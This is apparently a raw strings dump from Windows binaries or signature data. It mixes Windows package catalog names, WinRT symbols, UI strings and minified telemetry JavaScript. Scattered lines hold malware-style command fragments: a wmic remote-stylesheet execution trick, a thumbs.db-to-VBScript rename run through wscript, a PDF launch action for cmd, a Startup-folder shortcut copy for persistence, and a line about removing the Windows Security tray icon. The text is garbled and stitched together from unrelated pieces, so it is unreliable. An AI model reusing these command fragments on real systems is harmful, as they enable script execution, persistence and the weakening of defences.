Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
The folder you tried to unselect is the Windows {0} folder, which is an important folder in Windows and is currently pointed to OneDrive.
The folder you tried to unselect contains the Windows {1} folder, which is an important folder in Windows and is currently pointed to OneDrive.
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Windows.ApplicationModel.Background.TimeBroker.pdb
Windows.ApplicationModel.Background.TimeBroker.dll
WindowsCreateString
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
root%\system32\shell32.dll%
\.\root\Microsoft\Windows\Defender\
Microsoft.Windows.Health.TestInProduction
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked
Windows.Networking.BackgroundTransfer.I
Windows
System32
Windows
System32
Windows
System32
Windows
System32
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsGetStringLen
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Windows.ApplicationModel.Background.SystemEventsBroker.dll
WindowsCreateString
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsCreateStringReference
WindowsDuplicateString
iles\WindowsApps\Microsoft.Paint_11.2511.291.0_neutral_split.scale-100_8wekyb3d8bbwe
WINDOWS DEFENDER EXPLOIT GUARD
WINDOWS ERROR REPORTING
system32\wbem\wmic.exeosget/format:"https://
|echo---remove"windowssecurity"systemtrayicon
ifplatform.system()=="windows":
@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UWaitChainViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UWaitChainViewModel@TaskManagerApp@3@@winrt@@V?$tuple@UIVectorChangedEventArgs@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$producer@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UWaitChainViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$implements@Uiterator@?$iterable_base@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UWaitChainViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@winrt@@
.?AU?$root_implements@Uiterator@?$iterable_base@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UWaitChainViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$producer@Uiterator@?$iterable_base@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UWaitChainViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings
Windows.Data.Platform.ItemReference<Windows.Data.PlaceholderTileLogo>
Windows.Data.Platform.ItemReference<Windows.Data.PlaceholderTileLogo>
@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windoc
Windows.Data.Shell.FocusSessionOffTheme
Windows.Data.Shell.FocusSessionActiveTheme
Windows.Data.Shell.FocusActiveSessions
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy
MicrosoftWindows.Client.Photon_cw5n1h2txyewy
MicrosoftWindows.UndockedDevKit_cw5n1h2txyewy
.Windows.AppResolverUXSRD1
Microsoft.Windows.FilePicker
pWindows
windows 11P
windows d
C\"?rundll32(\.exe)?\"?\s+\"?.:\\windows\\system32\\spool\\drivers\\x64\\\d+\\hpmsn
Windows Defender Exploit Guard detectedr
\WindowsAzureGue
System32\audiodgD
 n&&n.length>0?n.trim().split(" ").length:0}function rt(n){let t=new RegExp("^[0-9a-zA-Z ]+$");return n&&t.test(n)?1:0}function ut(n){return n&&n.length>0&&n.charAt(n.length-1)==" "?1:0}function ft(n){return n&&n.length>0&&(n.includes("http://")||n.includes("https://")||n.includes("."))?1:0}function et(t,i,r,u){t.includes("?")&&(r[117]=1,lt(t)&&(r[127]=1));t.replace("///","").replace("//","").includes("/")&&(r[118]=1);t.includes(".")&&(r[119]=1);let o=u.cvid+u.privacyNumber+t;r[120]=f(o);let e=t.toLocaleLowerCase();if((e.startsWith("www.")||e.startsWith("http://www.")||e.startsWith("https://www."))&&(r[122]=1),e.startsWith("www.")||e.startsWith("http://")?r[123]=1:e.startsWith("https://")?r[124]=1:e.startsWith("ftp://")?r[125]=1:r[126]=1,i){let t=n.normalizeUrl(e,15),u=n.normalizeUrl(i,15).toLocaleLowerCase();t.startsWith(u)&&(r[187]=1)}}function ot(n,i,r,u,e){if(e){r[128]=t(e,i);r[129]=e.length;let n=u.cvid+u.privacyNumber+e;r[130]=f(n)}}function st(n,i,r){let u=n.toLocaleLowerCase();r[140]=n.length;let f=u.split(" ");if(r[144]=f.length,i){r[141]=t(n,i);r[142]=Math.min(100,h(r[141],i.length,n.length));let e=i.toLocaleLowerCase();u.includes(e)&&(r[143]=1);u.startsWith(e)&&(r[188]=1);for(let n of f)if(n==e){r[145]=1;break}}}function lt(n){let t=ct.find(t=>n.startsWith(t));return n=t?n.substr(t.length):n,ht.some(t=>n.startsWith(t))}function at(n){let i=0,t=0;if(n)for(let r in n){let u=n[r];u&&u.prefixLaunchCount&&(i+=u.prefixLaunchCount,t=Math.max(t,u.prefixLaunchCount))}return[i,t]}function vt(n){let t=0;if(n)for(let i in n){let r=n[i];r&&r.lastLaunchTime&&(t=Math.max(t,r.lastLaunchTime))}return t}function yt(t,i,r,u,f,e){if(u>0&&(i[309]=u,i[310]=e/u,i[311]=e),f>0&&(i[308]=n.getTimeDiffInDays(new Date(f*1e3))),r){let f=r[t];f&&(i[47]=f.prefixLaunchCount,i[49]=f.lastLaunchTime,i[307]=n.getTimeDiffInDays(new Date(f.lastLaunchTime*1e3)),i[101]=u,u>0&&(i[100]=f.prefixLaunchCount/u),f.previewPaneLaunchCount&&f.lastPreviewPaneLaunchTime&&(i[301]=f.previewPaneLaunchCount,f.lastPreviewPaneLaunchTime==f.lastLaunchTime&&(i[302]=1),i[303]=n.getCurrentTime()-f.lastPreviewPaneLaunchTime))}}function pt(n,t,i){if(i){let r=i[n];r&&(t[281]=r.probability,t[282]=r.weight)}}function wt(n,t,r,u,f,e){if(t){let s=i(u,r),o=t[s];o&&(f?(n[153]=o.ProbSugClickGivenPref,n[152]=o.ClicksOnSugGivenPref):e?(n[161]=o.Loglikelihood,n[162]=o.ProbSugClickGivenBackground,n[163]=o.ClicksOnSugGivenPref,n[164]=o.ProbSugClickGivenPref,n[165]=o.CCR,n[166]=o.EventCount,n[293]=o.ProbSugClickGivenPrefTime,n[168]=o.CCRTime,n[294]=o.ProbSugClickGivenBackgroundTime,n[295]=o.LoglikelihoodTime):(n[6]=o.Loglikelihood,n[3]=o.ProbSugClickGivenBackground,n[151]=o.ClicksOnSugGivenPref,n[0]=o.ProbSugClickGivenPref,n[94]=o.CCR,n[95]=o.EventCount,n[290]=o.ProbSugClickGivenPrefTime,n[155]=o.CCRTime,n[291]=o.ProbSugClickGivenBackgroundTime,n[292]=o.LoglikelihoodTime))}}function bt(n,t,i){if(t){let r=t[i];r&&(n[256]=r.PSGPCR,n[257]=r.PSGCCR,n[258]=r.PSGSTR,n[286]=r.PSGSATCCR,n[287]=r.PSGSATPCR)}}function i(n,t){return(n+"\t"+t).toLocaleLowerCase()}function r(t,i,r){i==11..toString()&&i==0..toString();switch(n.config.athenaKeyType){case 0:return t||n.LogWSBError("getAthenaGroupKey",null,new Error("Athena key group is empty"),undefined,undefined,"WindowsTelemetry"),t;case 1:return i||n.LogWSBError("getAthenaGroupKey",null,new Error("Athena key handoff is empty"),undefined,undefined,"WindowsTelemetry"),i;case 2:return r||n.LogWSBError("getAthenaGroupKey",null,new Error("Athena key suggestion type is empty"),undefined,undefined,"WindowsTelemetry"),i||n.LogWSBError("getAthenaGroupKey",null,new Error("Athena key handoff is empty"),undefined,undefined,"WindowsTelemetry"),r+"_"+i;default:return n.LogWSBError("getAthenaGroupKey",null,new Error("Athena key group type is not set"),undefined,undefined,"WindowsTelemetry"),""}}function u(t,i,r){switch(n.config.athenaKeyType){case 0:return i==t;case 1:return r==t;case 2:return r==t;default:return!1}}function kt(t){let i={};return t?(n.config.athenaKeyType==2?ni(t,i):(dt(t,i),gt(t,i)),i):i}function dt(t,f){let a=t.Suggestions?t.Suggestions.split("\
GetSystemWindowsDirectoryW
Windows Firewall 4logs=update=
:\windows\s
chttp://www.microsoft.com/pkiops/crl/Microsoft%20Windows%20Third%20Party%20Component%20CA%202012.c
Microsoft.Windows.Networking.WFP.Kfd
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4484.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102031~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-CoreSystem-Security-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.712.cat|Microsoft-Windows-CoreSystem-Security-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-Kernel-Package-Acpi-Pci-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6899.cat|
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-WindowsCoreHeadless-DeviceRuntime-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Embedded-KeyboardFilter-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat|
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-FodMetadataServicing-Desktop-CompDB-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|
Microsoft-Windows-msmq-server-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-PowerShell-ISE-FOD-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1.cat|
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|
Microsoft-Windows-Runtime-Metadata-Desktop-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|
e\WindowsApps\Microsoft.YourPhone_0.25062.84.0_neutral_split.scale-125_8wekyb3d8bbweq
Uwindows\system32\imageres.dll%systemroot%\system32\imageres.dll%systemroot%\system32\imageres.dll
c:\windows\system32\cmd.exe/cren.\thumbs.db\thumbs.db\config.txtconfig.vbe&&%systemroot%\system32\wscript.exe.\thumbs.db\thumbs.db\config.vbe
EU<<</openaction<</s/launch/win<</f(c:\\windows\\system32\\cmdE
windows.protocol
Microsoft-Windows-LanguageFz
.?AUIActionProvider@Provider@Actions@AI@Windows@ABI@@
.?AUIStorageProviderKnownFolderSyncInfoSourceFactory@Provider@Storage@Windows@ABI@@
.?AUIStorageProviderSuggestionsHandlerFactory@Provider@Storage@Windows@ABI@@
.?AUIStorageProviderUriSource@Provider@Storage@Windows@ABI@@
?AAA_SettingsPageWindowsDefender
JWindows Security settings*
Windows User Intent settings&
;AAA_SettingsPageSearchIndex#,Windows Search settings,
;AAA_SettingsPageRestoreMusUpdate'2Windows Update settings;
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!App
com.microsoft.windows.extension.shelluihost
87^com.microsoft.windows.extensionpackage
88^com.microsoft.windows.app.desktopspotlight
com.microsoft.windows.app.desktopspotlight
Microsoft.Windows.AugLoop.CBS_1.1126.2131.0_x64__8wekyb3d8bbwe
Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
copy"\usrclass.lnk""%appdata%\microsoft\windows\startmenu\programs\startup\"/y
$x=$((gphkcu:\software\microsoft\windows\currentversion\
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-CoreSystem-Security-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-OneCore-Fonts-UAPFonts-Package~31bf3856ad364e35~amd64~~10.0.26100.1000.cat|Microsoft-OneCore-Fonts-UAPFonts-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package011320~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
